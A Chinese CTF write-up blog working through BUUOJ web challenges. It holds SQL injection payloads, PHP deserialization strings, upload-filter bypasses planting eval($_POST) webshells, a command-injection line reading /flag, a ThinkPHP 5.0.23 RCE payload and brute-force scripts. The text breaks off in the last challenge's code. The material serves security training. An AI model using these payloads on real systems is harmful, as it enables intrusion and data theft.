BUUOJ 部分刷题记录
本文最后更新于 17 天前,其中的信息可能已经有所发展或是发生改变。

[ACTF2020新生赛]Include

这题考察的是文件包含的php协议,一句话解决:

php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020新生赛]BackupFile

提示给了备份文件,试着访问 index.php.bak 拿到源码:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

考察的是php弱类型比较,

?key=123

[极客大挑战 2019]Secret File

忽然发现还是学到挺多东西的。虽然是ez题,但是出题人很认真。

index.php

查看源码得知跳转路径

Archive_room.php

查阅,根据查阅结束的“没看清么?回去再仔细看看吧。”这句话合理推测这里有个302跳转,通过burp抓包看到跳转·路径

secr3t.php

提示flag在flag.php

flag.php

php伪协议读取文件

[极客大挑战 2019]LoveSQL

报错注入爆数据库:

1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_SCHEMA) FROM information_schema.tables),0x7e),1);#

返回结果

XPATH syntax error: '~information_schema,mysql,perfor'

爆表:

1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_NAME) FROM information_schema.tables WHERE table_schema='geek'),0x7e),1);#

返回结果:

XPATH syntax error: '~geekuser,l0ve1ysq1~'

爆字段名:

1' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_schema= 'geek' AND table_name='l0ve1ysq1'
),0x7e),1);#

返回结果:

XPATH syntax error: '~id,username,password~'

爆字段内容,使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:

1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#

返回结果

XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{55a'

同理可得:

1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),250,275),0x7e),1);#

返回结果:

XPATH syntax error: '~ag{55a9c216-b598-4401-b136-9367'
XPATH syntax error: '~6-936743c1910c}~'

得到flag。

[RoarCTF 2019]Easy Calc

查看源码,发现有前端过滤

<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

提交到calc.php,查看源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

尝试提交却发现没有权限,题目提示设置了一个安全的WAF,原来是被WAF了。输入除了数字以外的字符都会报错。

发现WAF却不是PHP源码的WAF,这里应该是还有一层除了PHP之外的WAF。

这里利用到了PHP字符串解析特性来绕过WAF,很好,又是我不会的东西。

该网页还存在一个WAF,会对num进行审计,但当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:

  • 删除空白符
  • 转化特殊字符

就可以把想要的变量转化为num了。

于是提交exp:

?%20num=phpinfo()

返回phpinfo();

?%20num=var_dump(scandir(chr(47)))

scandir():同Linux Shell下的ls命令类似,但是要指定目录,由于WAF过滤了/,所以需要用chr(47)来进行代替。上面的语句等同于scandir("/")

var_dump():用来返回变量具体的参数信息。例如当输出一个Array变量时,回显为Array;如果使用var_dump()函数,则可以返回变量的具体信息。

array(24) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(10) ".dockerenv"
  [3]=>
  string(3) "bin"
  [4]=>
  string(4) "boot"
  [5]=>
  string(3) "dev"
  [6]=>
  string(3) "etc"
  [7]=>
  string(5) "f1agg"
  [8]=>
  string(4) "home"
  [9]=>
  string(3) "lib"
  [10]=>
  string(5) "lib64"
  [11]=>
  string(5) "media"
  [12]=>
  string(3) "mnt"
  [13]=>
  string(3) "opt"
  [14]=>
  string(4) "proc"
  [15]=>
  string(4) "root"
  [16]=>
  string(3) "run"
  [17]=>
  string(4) "sbin"
  [18]=>
  string(3) "srv"
  [19]=>
  string(8) "start.sh"
  [20]=>
  string(3) "sys"
  [21]=>
  string(3) "tmp"
  [22]=>
  string(3) "usr"
  [23]=>
  string(3) "var"
}

可以看到有一个flagg文件,试着读取:

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag。

[极客大挑战 2019]Knife

白给的shell,不说了。

[ACTF2020 新生赛]Exec

1;cat /flag

[极客大挑战 2019]PHP

分享一个很有意思的脚本:

# python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://dc978cce-0571-40d6-8a75-ac2c41c57fed.node3.buuoj.cn'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar', 'bak']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(len(requests.get(url).text))

源于:常用网站源代码备份脚本,可以按照需求添加字典。

扫出来www.zip,下载后发现网页有假flag以及class.php。

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

调用在index.php:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

要求密码必须为100且用户名必须为admin,但是在__wakeup函数中会将username设置为’guest’,就需要绕过__wakeup。

老考点了,用到的是CVE-2016-7124漏洞,在特定的PHP版本绕过__walkup。

要注意到的是反序列化后的public,private以及protected三种变量的值具体表达方法不一样,使用的时候要注意区分。

当一个类为:

<?php
class Example{
	public $test = 'a';
}

$example = new Example();

echo serialize($example);

返回结果为:

O:7:"Example":1:{s:4:"test";s:1:"a";}

当类型为private时,情况就会稍微复杂一些。

<?php
class Example{
	private $test = 'a';
}

$example = new Example();

echo serialize($example);

返回结果为:

O:7:"Example":1:{s:13:"%00Example%00test";s:1:"a";}

当类型为protected

<?php
class Example{
	protected $test = 'a';
}

$example = new Example();

echo serialize($example);

返回结果为:

O:7:"Example":1:{s:7:"%00*%00test";s:1:"a";}

本题最终构造的反序列化字符串:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]Http

起初没有什么头绪,后面看bp发现历史记录加载了一个Secret.php文件:

重新审计源码发现页面引入了Secret.php。访问该文件,修改HTTP保头的:

  • User-Agent
  • X-Forwarded-For
  • referer

三个属性,读取flag。

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26881
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Content-Length: 2

[HCTF 2018]admin

进了Login界面就有了

[极客大挑战 2019]Upload

一步步推测:当上传一个php文件时,返回

此图片的alt属性为空;文件名为image-14.png

通过修改文件类型 image/gif,返回

此图片的alt属性为空;文件名为image-15.png

因此可以推断,修改文件类型绕过了第一层WAF,第二层WAF应该是基于文件后缀名来判断的。

逐个尝试可以使用的后缀名,发现.phtml后缀名是可以使用的,出现了第三层WAF。

此图片的alt属性为空;文件名为image-16.png

推断这个是检查文件头,加上GIF89a绕过。

此图片的alt属性为空;文件名为image-17.png

最终发现是上传成功的了,接下来就是修改一下文件加入马了。

此图片的alt属性为空;文件名为image-18-1024x800.png

蚁剑一下就有了

[极客大挑战 2019]BuyFlag

cookie改成1,然后是弱类型比较以及数字绕过

此图片的alt属性为空;文件名为image-26-1024x625.png



[BJDCTF2020]Easy MD5

第一关

包里有hint:

此图片的alt属性为空;文件名为image-1024x254.png

看下MD5的用法:

md5(string,row)
参数描述
string必须,规定要计算的字符串
raw可选,规定十六进制或二进制输出格式。
– TRUE – 原始 16字符二进制格式
– FALSE -默认 32字符十六进制数



构造需求:

  • 需要构造的值a,经过md5后生成16字符二进制的数值。
xxxxxxxxxxxxxxxx
  • 该十六字符二进制的数值转成十六进制
xxxxxx
  • 十六进制转换为字符串,当满足以下格式:
'or'xxxx

拼接后的SQL语句

select * from `admin` where password=''or'xxxx'

在SQL中,当字符串的开头为非0数字时,会被当做整型进行解析,即构造一句万能钥匙。

这里用到的exp

<?php
echo (md5("ffifdyop", true));
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";

}
?>

当payload为ffifdyop时,满足条件,此时的字符串为'or'6<trash>。<trash>为不可打印字符简写,提交后通关

第二关

源码有代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

赵师傅又要女朋友了。这题是MD5函数漏洞,随便找两个MD5加密后开头为0e的字符串就可以了。

?a=QNKCDZO&b=s878926199a

第三关

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

数组绕过

param1[]=1&param2[]=2
此图片的alt属性为空;文件名为image-6-1024x800.png

[极客大挑战 2019]BabySQL

尝试联合注入

1' union select 1#

发现只报错了1,推测被过滤,双写绕过

1' ununionion seselectlect 1 #

尝试到3后成功注入,有回显

1' ununionion seselectlect 1,2,3#

爆库

1' ununionion seselectlect 1,2,(selselectect database())#

爆所有库

这里我常用的语句

1' ununionion seselectlect 1,2,group_concat(distinct TABLE_SCHEMA) FRfromOM infoorrmation_schema.tables#

查了一下,wp用另一个表

1' ununionion seselectlect 1,2,group_concat(distinct SCHEMA_NAME)FRromOM
infoorrmation_schema.schemata#

这两个表都可以

查询表

1' ununionion seleselectct 1,2,group_concat(distinct TABLE_NAME) FRfromOM infoorrmation_schema.tables WHWHEREERE table_schema='ctf'#

查字段

1' ununionion seselectlect 1,2,
group_concat(COLUMN_NAME) frfromom infoorrmation_schema.columns whwhereere 
 table_name='Flag'#

查字段内容

1' ununionion seselectlect 1,2,
group_concat(flag) frfromom ctf.Flag#

[SUCTF 2019]CheckIn

题目源码:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

审计代码,分别存在文件大小WAF、文件后缀名检查WAF、文件内容审计WAF以及图片类型判断WAF。

稍微总结一下绕过方式,文件大小WAF比较简单,类型判断只要加个文件头content-type就可以了。

后缀名检查过滤了php脚本以及.htacess文件。

文件内容审计进一步过滤了php以及一句话木马的可能性,但是我们可以通过图片码来进行绕过,例如这样:

<script language='php'><scirpt>

但是又需要上传.htacess文件来对图片码进行php解析。

这里利用到了.user.ini文件。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

简单来讲,就是在目录下的INI文件会被PHP进行扫描,如果扫描到了则被用于配置该文件目录。

我们可以在INI文件中设置当访问该目录下的文件时,该文件包含图片马并进行解析,这样就可以利用图片马了。

注意利用条件:只有在 CGI/FastCGI SAPI 模式的服务器上才能使用 .user.ini。

在.user.ini文件中有两个设置auto_prepend_fileauto_append_file

auto_prepend_file是在文件前插入文件;而auto_append_file在文件最后插入,类似于调用include进行文件包含。

有些时候,需要在文件前插入文件,以此来绕过死亡exit。

请注意,该利用方式需要文件目录下必须有一个可执行php文件,这样在该文件被访问时才会包含木马并被解析。这也提示我们,当文件上传目录下包含一个可执行php文件时,可以通过ini的方式进行利用。

上传.user.ini:

GIF89a
auto_prepend_file=shell.jpg

上传成功;接着上传图片马:

GIF89a
<script language='php'>system('cat /flag');</script>

访问获得flag。

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

$text 参数要求读入一个文件为内容 “welcome to the zjctf”,这里可以尝试php://input协议读入文件:

?text=php://input

再用POST传参的方式写入:

welcome to the zjctf

也可以使用data伪协议进行绕过:

?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

$file 参数要求文件包含,这里用正则表达式过滤了flag.php,但是提示了存在useless.php,通过filter伪协议读取。

file=php://filter/convert.base64-encode/resource=useless.php

读取源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

定义了一个类Flag,以及类中存在一个魔术方法__tostring(),分析该魔术方法可得,如果该文件设置了 $file 属性,则进行文件包含,并输出文件的内容。

查看index.php,其中对类进行反序列化之后直接输出,调用了魔术方法,所以直接构造反序列化字符串,定义变量内容为flag.php即可。

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[网鼎杯 2018]Fakebook

user.php.bak源码

注册完账号查看信息的时候可以看到采用get的方式来搜索序号。

?no=1

相对来说比较简单的注入,过滤了union select,但是可以通过/**/绕过。

?no=0 union/**/select 1,2,3,4;#

易得2为注入点,爆库

?no=0 union/**/select 1,group_concat(distinct TABLE_SCHEMA), 3, 4 from information_schema.tables--

爆表

?no=0 union/**/select 1,group_concat(distinct TABLE_NAME), 3, 4 from information_schema.tables where table_schema='fakebook'--

字段

?no=0 union/**/select 1,group_concat(distinct COLUMN_NAME), 3, 4 from information_schema.columns where table_schema='fakebook' and table_name='users'--

字段内容

?no=0 union/**/select 1, group_concat(no) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(username) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(passwd) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(data) , 3, 4 from users--

其中出来的data为反序列化。

O:8:"UserInfo":3:{s:4:"name";s:7:"oatmeal";s:3:"age";i:18;s:4:"blog";s:17:"http://baidu.com/";}

其中的值对应页面渲染成出来的name age blog,结合源码,推测在用户输入no时,第一时间查询data值,将反序列化后的值序列化后对网页进行渲染。

搞清这个逻辑就比较简单了,既然源码中存在正则过滤,可以通过数据库查询的方式来绕过blog的正则过滤,将想读取的文件放在博客路径内,最后Base64解码。

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --

最后的目录还是有点小坑爹的,一直在根目录读取,读了个空气。

[CISCN2019 华北赛区]Hack World

传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。

fuzz之后发现WAF了空格(BUUFCTF的容器通常是顶不住fuzz的)。使用括号可以绕过。

这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

exp

import requests

string = "Hello, glzjin wants a girlfriend."
url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
flag = ""

for i in range(50):
    for j in range(127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {'id': payload}
        files = []
        headers = {}
        response = requests.request("POST", url, headers=headers, data=data, files=files)
        print(j)
 #为了防止因网络原因而导致爆破中断丢失数据
        if response.text.find(string) != -1:
            flag += chr(j)
            print(flag)
            break

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

跟着流程分析,首先通过GET的方式获取字符串,经过检验后进行反序列化

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

检验函数验证字符的ASCII值在32到125之间

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

接着看反序列化后发生了什么,由于没有发生构造,所以不触发构造的魔术方法,最终是析构的魔术方法

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

如果op==="2",则将op转为1。注意这里是强等于。

再看一下process()函数:

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

根据op的值不同分别触发3个方法,其中op=="1"为写文件,op=="2"为读文件,其他报错。这里用的是弱等于,再加上用的是数字,其实考点就很明显。

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
    }

read()函数用了file_get_contents()读取文件,这里可以用php伪协议读取flag。

生成反序列化字符串。

<?php

class FileHandler {
    protected $op = 2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content = "";
}

echo serialize(new FileHandler());
file_put_contents('exp.txt',serialize(new FileHandler()));

这里由于做了字符的ASCII限制,所以不能直接传入%00。

利用PHP7.1+的特性,对序列化类型不敏感,改成public生成序列化对象传参即可。

[MRCTF2020]你传你🐎呢

可以传.htaccess,蚁剑一把梭

注意这边还有创建沙盒,所以不能用不同浏览器。

[强网杯 2019]高明的黑客

一堆混淆+shell

不过没有几个是能用的,需要跑个脚本,考察脚本编写能力的,测试一下哪个是能用的。

上py

import os
import requests
# 文件路径
path = "D://SOURCE//BUUOJ//[强网杯 2019]高明的黑客//www.tar//www//src//"
# 遍历文件目录查找文件
files = os.listdir(path=path)


# GET方法传参
def GET(filename):
    f = open(path + filename, 'r')
    getList = []
    content = f.readlines()

    for line in content:
        if line.find("$_GET['") > 0:
            startIndex = line.find("$_GET['") + 7
            endIndex = line.find("'", startIndex)
            getList.append(line[startIndex:endIndex])
    return getList


# POST方法传参
def POST(filename):
    f = open(path + filename, 'r')
    postList = []
    content = f.readlines()

    for line in content:
        if line.find("$_POST['") > 0:
            startIndex = line.find("$_POST['") + 8
            endIndex = line.find("'", startIndex)
            postList.append(line[startIndex:endIndex])
    return postList


if __name__ == "__main__":
    for file in files:
        if file != ".idea":
            print("OPEN FILE:" + file)
            get = GET(file)
            for i in get:
                url = "http://127.0.0.1/%s?$s=%s".format(file, i, 'echo "GET SUCCESS"')
                response = requests.get(url=url)
                if response.text.find("GET SUCCESS") > 0:
                    print("SUCCESS GET! YOU FIND THE SHELL %s BY %s".format(file, i))
                    exit(0)

            post = POST(file)
            for i in post:
                url = "http://127.0.0.1/%s".format(file)
                data = {i: 'echo "POST SUCCESS"'}
                response = requests.get(url=url, data=data)
                if response.text.find("POST SUCCESS") > 0:
                    print("SUCCESS POST! YOU FIND THE SHELL %s BY %s".format(file, i))
                    exit(0)

        print("CLOSE FILE")

贼捞,大概一分钟跑七到八个这样子,算了算根本跑不完。

还是要多线程,最后参考大佬脚本搞的。

/xk0SzyKwfzw.php?Efa5BVG=echo%20%27success%27
import os
import requests
import threading
import time
import sys

# 文件路径
path = "D://SOURCE//BUUOJ//[强网杯 2019]高明的黑客//www.tar//www//src//"
# 遍历文件目录查找文件
files = os.listdir(path=path)


# GET方法传参
def GET(filename):
    f = open(path + filename, 'r')
    getList = []
    content = f.readlines()

    for line in content:
        if line.find("$_GET['") > 0:
            startIndex = line.find("$_GET['") + 7
            endIndex = line.find("'", startIndex)
            getList.append(line[startIndex:endIndex])
    return getList


# POST方法传参
def POST(filename):
    f = open(path + filename, 'r')
    postList = []
    content = f.readlines()

    for line in content:
        if line.find("$_POST['") > 0:
            startIndex = line.find("$_POST['") + 8
            endIndex = line.find("'", startIndex)
            postList.append(line[startIndex:endIndex])
    return postList


def get_content(file):
    print("OPEN FILE:" + file)
    get = GET(file)
    for i in get:
        url = "http://127.0.0.1/src/{}?{}={}".format(file, i, 'echo "GET '
                                                              'SUCCESS"')
        response = requests.get(url=url)
        if response.text.find("GET SUCCESS") > 0:
            print("SUCCESS GET! YOU FIND THE SHELL {} BY {}".format(file, i))
            f = open("shell.txt", "w")
            f.write(response.text)
            sys.exit(0)

    post = POST(file)
    for i in post:
        url = "http://127.0.0.1/src/{}".format(file)
        data = {i: 'echo "POST SUCCESS"'}
        response = requests.get(url=url, data=data)
        if response.text.find("POST SUCCESS") > 0:
            print("SUCCESS POST! YOU FIND THE SHELL {} BY {}".format(file, i))
            f = open("shell.txt", "w")
            f.write(response.text)
            sys.exit(0)
        response.close()

    print("CLOSE FILE")


if __name__ == "__main__":
    s1 = threading.Semaphore(100)
    requests.adapters.DEFAULT_RETRIES = 5
    for file in files:
        get_content(file)
        t = threading.Thread(target=get_content, args=(file,))
        t.start()

PS:会跑炸,我太菜了

[GYCTF2020]Blacklist

万能钥匙穿了

1' or '1'='1'#

上select被过滤了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

感觉很像强网杯的随便注(看了一下就是),然后就是堆叠注入了。

1';show tables;#

官方文档。使用OPEN打开表的会话,在CLOSE前不会关闭;使其在打开期间使用READ读取文件。

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;
#

[MRCTF2020]Ez_bypass

老套娃了

curl --location -g --request POST 'http://8e1d6248-05fa-4882-9a60-505748ae35d2.node3.buuoj.cn/?gg[]=[1]&id[]=[2]' \
--form 'passwd="1234567a"'

注意通过浏览器以及POSTMAN传入的数字会自动转为字符串而不会被当为数字解析,所以得用弱类型比较。

[BUUCTF 2018]Online

起先以为是简单的命令注入+连接词的利用,后来发现没这么easy,传入host之后还进行了过滤。

$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

放上两个学习连接,具体不写了

利用/绕过 PHP escapeshellarg/escapeshellcmd函数

PHP escapeshellarg()+escapeshellcmd() 之殇

escapeshellarg

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd

1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

其实就是bypass这两个函数

'<?php eval($_POST["a"]);?> -oG 1.php ' 

在单引号的字符串可以当做命令执行

写入文件后shell

[GXYCTF2019]禁止套娃

扫到.git

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

大概三层过滤,第一层过滤一些PHP伪协议,第二层过滤了有参数函数、第三层过滤了一些关键词。

u1s1有点魔鬼,看着别人的wp做的。

一步步来,首先我们想构造的是这样的一句话:

<?php
    print_r(scandir('.'));
?>

其中scandir('.')可以遍历当前目录,返回当前目录的目录。

但是这个函数是个有参函数,咋整呢,需要构造这个.

利用localeconv(),该函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

/?exp=print_r(localeconv());

pos() current()两个函数可以返回数组的单元,默认取第一个值,这样就可以构造遍历目录了。

exp=print_r(localeconv());

可以看到目录下是有flag文件的,在倒数第二个位置,正数第四个位置。接下来就是读取文件内容了。

这里有三种读取文件的方法

1.array_reverse()

数组逆向,加一位移位

print_r(next(array_reverse(scandir(pos(localeconv())))));

读取文件有两种方法,一种是直接print_r(readfile(file)),一种是highlight_file(file)

2.array_rand(array_flip())

array_rand()随机取出数组单元,array_flip()函数交换键与值

print_r(array_rand(array_flip(scandir(current(localeconv())))));

3.session_id(session_start())

print_r(session_id(session_start()));

PHPSESSID=flag.php即可。

[GXYCTF2019]BabyUpload

直接.htaccess怼进去,传图片马,注意他过滤了<?ph格式即可。

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
GIF89a
<script language='php'>@eval($_POST['shell']);</script>

[BJDCTF 2nd]old-hack

看到THINKPHP5,习惯性尝试一下tp5.0的payload,结果就成了,开了强制路由还有debug模式

?s=/index/think\app/index

看到报错提示,提示是5.0.23版本,就去找一下payload

ThinkPHP5.0.*版本代码执行漏洞

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web

注意到默认后缀传入两个参数

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

其中img为base64编码,两次解压后得到3535352e706e67,可能为16进制,转为555.png

利用读取index.php源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

